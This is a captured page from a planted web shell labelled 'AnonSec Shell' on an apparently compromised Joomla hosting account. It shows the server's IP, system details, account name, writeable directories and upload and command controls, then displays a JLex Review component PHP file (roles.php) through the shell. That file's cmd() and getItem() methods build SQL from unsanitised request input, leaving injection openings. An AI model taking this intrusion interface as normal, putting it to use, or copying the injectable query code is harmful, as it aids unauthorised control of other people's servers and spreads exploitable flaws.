AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.94
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/annonces/administrator/components/com_jlexreview/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/annonces/administrator/components/com_jlexreview/models//roles.php
<?php
/**
 * @package     JLex Review
 * @version     4.2.3
 * @copyright   Copyright (c) 2013-2018 JLexArt. All rights reserved
 * @license     GNU General Public License version 2 or later;
 * @author      www.jlexart.com
 */

defined('_JEXEC') or die;
class JLexReviewModelRoles extends JModelLegacy
{
	public $limitstart = 0;

	public $limit = 20;

	public $total = 0;

    public $sort = "r.created DESC";

	public function getRoles()
	{
		$query 	= $this->_db->getQuery(true);
		$query->select("SQL_CALC_FOUND_ROWS r.*, u.name AS author")
			  ->from("#__jlexreview_roles AS r")
              ->leftJoin("#__users AS u ON r.created_by=u.id")
              ->select("gp.title AS group_name")
              ->leftJoin("#__usergroups gp ON r.group_id=gp.id")
              ->order($this->sort);


		$items = $this->_db->setQuery($query, $this->limitstart, $this->limit)->loadObjectList();
		$this->total = (int) $this->_db->setQuery("SELECT FOUND_ROWS()")->loadResult();
        
		if(!$items) return null;

		foreach($items as $k=>$item)
		{
			$items[$k]->jprofile = JUri::base(true) . "/index.php?option=com_users&task=user.edit&id=" . $item->created_by;
            $items[$k]->url2edit = JUri::base(true) . "/index.php?option=com_jlexreview&view=roles&layout=form&id=" . $item->id;
            $items[$k]->created  = JHtml::date($item->created, $this->_db->getDateFormat());
        }
		
		return $items;
	}

	public function getPagaNav()
	{
		jimport("joomla.html.pagination");
		return new JPagination($this->total, $this->limitstart, $this->limit);
	}

    public function getForm()
    {
        $path   = dirname(__FILE__)."/forms/role.xml";
        $form   = JForm::getInstance("jreview_role", $path, array('control' => 'jform'));

        $form->addFieldPath(dirname(__FILE__)."/fields");

        return $form;
    }

    public function getItem($id)
    {
        if($id<1) return null;

        $query = $this->_db->getQuery(true);
        $query->select("*, method AS mt")
              ->from("#__jlexreview_roles")
              ->where("id=" . $id);

        $item = $this->_db->setQuery($query)->loadObject();

        return $item;
    }

    public function save()
    {
        $app   = JFactory::getApplication ();
        $data  = $app->input->get("jform", null, "array");
        $form  = $this->getForm();

        // adjust form
        $based  = array_key_exists("mt", $data)&&$data["mt"]==1 ? 1:0;
        if($based==1)
        {
            $form->setFieldAttribute("group_id", "required", "true");
            $form->removeField("condition_file");
        } else {
            $form->setFieldAttribute("condition_file", "required", "true");
            $form->removeField("group_id");
        }

        $form->bind($data);

        $data = $form->filter($data);
        $return = $form->validate($data);

        if($return===false)
        {
            // Get the validation messages.
            $errors = $form->getErrors();

            foreach ($errors as $error)
            {
                if ($error instanceof Exception)
                {
                    $this->setError($error->getMessage());
                } else {
                    $this->setError($error);
                }
            }

            return false;
        }

        $data["method"] = $data["mt"];

        $query = $this->_db->getQuery(true);
        $query->select("COUNT(*)")
              ->from("#__jlexreview_roles");

        if($based==1){
            $query->where(array(
                "method=1",
                "group_id=".$this->_db->quote($data["group_id"])
            ));
        } else {
            $query->where(array(
                "method=0",
                "condition_file=".$this->_db->quote($data["condition_file"])
            ));
        }

        $row = $this->getTable("roles", "TableJR");
        if(@$data["id"]>0) $row->load($data["id"]);

        if($row->id>0) $query->where("id!=".$this->_db->quote($row->id));

        $found = $this->_db->setQuery($query)->loadResult();
        if($found)
        {
            $this->setError(JText::_("JR_ROLE_EXIST"));
            return false;
        }

        if($based==1)
        {
            $data["condition_file"] = "";
        } else {
            $data["group_id"] = "";
        }

        $row->bind($data);

        if(!$row->store())
        {
            $this->setError("An error appear while saving data. Try again later.");
            return false;
        }

        return true;
    }

    public function cmd($task)
    {
        $app = JFactory::getApplication();
        $cid = $app->input->get("cid", null, "array");

        if(empty($cid) || !count($cid))
        {
            $this->setError("No row select.");
            return false;
        }

        $query = $this->_db->getQuery(true);

        switch($task)
        {
            case "publish":
            case "unpublish":
                $query->clear()
                      ->update("#__jlexreview_roles")
                      ->set("published=".($task=="publish"?1:0))
                      ->where("id IN(".implode(",", $cid).")");
                break;

            case "remove":
                $query->clear()
                      ->delete("#__jlexreview_roles")
                      ->where("id IN(".implode(",", $cid).")");
                break;
        }

        $this->_db->setQuery($query)->execute();

        return true;
    }
}

Anon7 - 2022
AnonSec Team